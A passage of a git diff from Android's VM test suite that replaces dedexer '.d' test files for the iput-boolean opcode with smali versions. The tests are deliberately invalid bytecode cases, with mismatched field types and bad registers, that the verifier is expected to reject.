-.source T_iput_boolean_15.java
-.class public dot.junit.opcodes.iput_boolean.d.T_iput_boolean_15
-.super dot/junit/opcodes/iput_boolean/d/T_iput_boolean_1
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, dot/junit/opcodes/iput_boolean/d/T_iput_boolean_1/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const/16 v1, 1
-       iput-boolean v1, v2, dot.junit.opcodes.iput_boolean.d.T_iput_boolean_1.st_pvt1 Z
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_15.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_15.smali
new file mode 100644
index 0000000..6e40a4f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_15.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_boolean_15.java"
+.class  public Ldot/junit/opcodes/iput_boolean/d/T_iput_boolean_15;
+.super  Ldot/junit/opcodes/iput_boolean/d/T_iput_boolean_1;
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ldot/junit/opcodes/iput_boolean/d/T_iput_boolean_1;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const/16 v1, 1
+       iput-boolean v1, v2, Ldot/junit/opcodes/iput_boolean/d/T_iput_boolean_1;->st_pvt1:Z
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_17.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_17.d
deleted file mode 100644
index 2d0e858..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_17.d
+++ /dev/null
@@ -1,37 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_boolean_17.java
-.class public dot.junit.opcodes.iput_boolean.d.T_iput_boolean_17
-.super java/lang/Object
-
-.field public  st_i1 J
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v1, 1
-       iput-boolean v1, v2, dot.junit.opcodes.iput_boolean.d.T_iput_boolean_17.st_i1 Z
-
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_17.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_17.smali
new file mode 100644
index 0000000..f41ed61
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_17.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_boolean_17.java"
+.class  public Ldot/junit/opcodes/iput_boolean/d/T_iput_boolean_17;
+.super  Ljava/lang/Object;
+
+.field public  st_i1:J
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 1
+       iput-boolean v1, v2, Ldot/junit/opcodes/iput_boolean/d/T_iput_boolean_17;->st_i1:Z
+
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_18.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_18.d
deleted file mode 100644
index 5ca6791..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_18.d
+++ /dev/null
@@ -1,37 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_boolean_18.java
-.class public dot.junit.opcodes.iput_boolean.d.T_iput_boolean_18
-.super java/lang/Object
-
-.field public  st_i1 D
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v1, 1
-       iput-boolean v1, v2, dot.junit.opcodes.iput_boolean.d.T_iput_boolean_18.st_i1 D
-
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_18.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_18.smali
new file mode 100644
index 0000000..69ce754
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_18.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_boolean_18.java"
+.class  public Ldot/junit/opcodes/iput_boolean/d/T_iput_boolean_18;
+.super  Ljava/lang/Object;
+
+.field public  st_i1:D
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 1
+       iput-boolean v1, v2, Ldot/junit/opcodes/iput_boolean/d/T_iput_boolean_18;->st_i1:D
+
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_19.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_19.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_19.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_19.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_19.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_19.smali
new file mode 100644
index 0000000..4620179
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_19.smali
@@ -0,0 +1,43 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/iput_boolean/d/T_iput_boolean_19;
+.super Ljava/lang/Object;
+.source "T_iput_boolean_19.java"
+
+
+# instance fields
+.field public st_f1:F
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 3
+
+    const v1, 0x4048f5c3    # 3.14f
+
+    iput-boolean v1, p0, Ldot/junit/opcodes/iput_boolean/d/T_iput_boolean_19;->st_f1:F
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_2.d
deleted file mode 100644
index 20ba2cf..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_2.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_boolean_2.java
-.class public dot.junit.opcodes.iput_boolean.d.T_iput_boolean_2
-.super java/lang/Object
-
-.field public  st_i1 Z
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const-wide v0, 1
-       iput-boolean v0, v2, dot.junit.opcodes.iput_boolean.d.T_iput_boolean_4.st_i1 Z
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_2.smali
new file mode 100644
index 0000000..c54594f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_2.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_boolean_2.java"
+.class  public Ldot/junit/opcodes/iput_boolean/d/T_iput_boolean_2;
+.super  Ljava/lang/Object;
+
+.field public  st_i1:Z
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const-wide v0, 1
+       iput-boolean v0, v2, Ldot/junit/opcodes/iput_boolean/d/T_iput_boolean_4;->st_i1:Z
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_20.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_20.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_20.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_20.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_20.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_20.smali
new file mode 100644
index 0000000..ca15f53
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_20.smali
@@ -0,0 +1,43 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/iput_boolean/d/T_iput_boolean_20;
+.super Ljava/lang/Object;
+.source "T_iput_boolean_20.java"
+
+
+# instance fields
+.field public st_o:Ljava/lang/Object;
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 4
+
+    const v0, 0x0
+
+    iput-boolean v0, p0, Ldot/junit/opcodes/iput_boolean/d/T_iput_boolean_20;->st_o:Ljava/lang/Object;
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_21.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_21.d
deleted file mode 100644
index a05e7d9..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_21.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_boolean_21.java
-.class public dot.junit.opcodes.iput_boolean.d.T_iput_boolean_21
-.super java/lang/Object
-
-.field public  st_s S
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 4
-
-       const v0, 1    
-       iput-boolean v0, v3, dot.junit.opcodes.iput_boolean.d.T_iput_boolean_21.st_s S
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_21.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_21.smali
new file mode 100644
index 0000000..33f1ed6
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_21.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_boolean_21.java"
+.class  public Ldot/junit/opcodes/iput_boolean/d/T_iput_boolean_21;
+.super  Ljava/lang/Object;
+
+.field public  st_s:S
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 4
+
+       const v0, 1    
+       iput-boolean v0, v3, Ldot/junit/opcodes/iput_boolean/d/T_iput_boolean_21;->st_s:S
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_22.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_22.d
deleted file mode 100644
index 5953110..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_22.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_boolean_22.java
-.class public dot.junit.opcodes.iput_boolean.d.T_iput_boolean_22
-.super java/lang/Object
-
-.field public  st_i I
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 4
-
-       const v0, 1    
-       iput-boolean v0, v3, dot.junit.opcodes.iput_boolean.d.T_iput_boolean_22.st_i I
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_22.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_22.smali
new file mode 100644
index 0000000..a6f94cb
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_22.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_boolean_22.java"
+.class  public Ldot/junit/opcodes/iput_boolean/d/T_iput_boolean_22;
+.super  Ljava/lang/Object;
+
+.field public  st_i:I
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 4
+
+       const v0, 1    
+       iput-boolean v0, v3, Ldot/junit/opcodes/iput_boolean/d/T_iput_boolean_22;->st_i:I
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_23.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_23.d
deleted file mode 100644
index 3d51bf4..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_23.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_boolean_23.java
-.class public dot.junit.opcodes.iput_boolean.d.T_iput_boolean_23
-.super java/lang/Object
-
-.field public  st_c C
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 4
-
-       const v0, 1    
-       iput-boolean v0, v3, dot.junit.opcodes.iput_boolean.d.T_iput_boolean_23.st_c C
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_23.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_23.smali
new file mode 100644
index 0000000..65e1f95
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_23.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_boolean_23.java"
+.class  public Ldot/junit/opcodes/iput_boolean/d/T_iput_boolean_23;
+.super  Ljava/lang/Object;
+
+.field public  st_c:C
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 4
+
+       const v0, 1    
+       iput-boolean v0, v3, Ldot/junit/opcodes/iput_boolean/d/T_iput_boolean_23;->st_c:C
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_24.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_24.d
deleted file mode 100644
index ccd56a1..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_24.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_boolean_24.java
-.class public dot.junit.opcodes.iput_boolean.d.T_iput_boolean_24
-.super java/lang/Object
-
-.field public  st_b B
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 4
-
-       const v0, 1    
-       iput-boolean v0, v3, dot.junit.opcodes.iput_boolean.d.T_iput_boolean_24.st_b B
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_24.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_24.smali
new file mode 100644
index 0000000..3a019c9
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_24.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_boolean_24.java"
+.class  public Ldot/junit/opcodes/iput_boolean/d/T_iput_boolean_24;
+.super  Ljava/lang/Object;
+
+.field public  st_b:B
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 4
+
+       const v0, 1    
+       iput-boolean v0, v3, Ldot/junit/opcodes/iput_boolean/d/T_iput_boolean_24;->st_b:B
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_3.d
deleted file mode 100644
index 864852f..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_3.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_boolean_3.java
-.class public dot.junit.opcodes.iput_boolean.d.T_iput_boolean_3
-.super java/lang/Object
-
-.field public  st_i1 Z
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v0, 1
-       iput-boolean v0, v3, dot.junit.opcodes.iput_boolean.d.T_iput_boolean_3.st_i1 Z
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_3.smali
new file mode 100644
index 0000000..1151e7f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_3.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_boolean_3.java"
+.class  public Ldot/junit/opcodes/iput_boolean/d/T_iput_boolean_3;
+.super  Ljava/lang/Object;
+
+.field public  st_i1:Z
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v0, 1
+       iput-boolean v0, v3, Ldot/junit/opcodes/iput_boolean/d/T_iput_boolean_3;->st_i1:Z
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_30.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_30.d
deleted file mode 100644
index f68e154..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_30.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_boolean_30.java
-.class public dot.junit.opcodes.iput_boolean.d.T_iput_boolean_30
-.super java/lang/Object
-
-.field public  st_i1 Z
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-    new-instance v0, dot/junit/opcodes/iput_boolean/d/T_iput_boolean_30
-    const v1, 0
-    iput-boolean v1, v0, dot.junit.opcodes.iput_boolean.d.T_iput_boolean_30.st_i1 Z
-.end method
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_30.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_30.smali
new file mode 100644
index 0000000..4ba664b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_30.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_boolean_30.java"
+.class  public Ldot/junit/opcodes/iput_boolean/d/T_iput_boolean_30;
+.super  Ljava/lang/Object;
+
+.field public  st_i1:Z
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
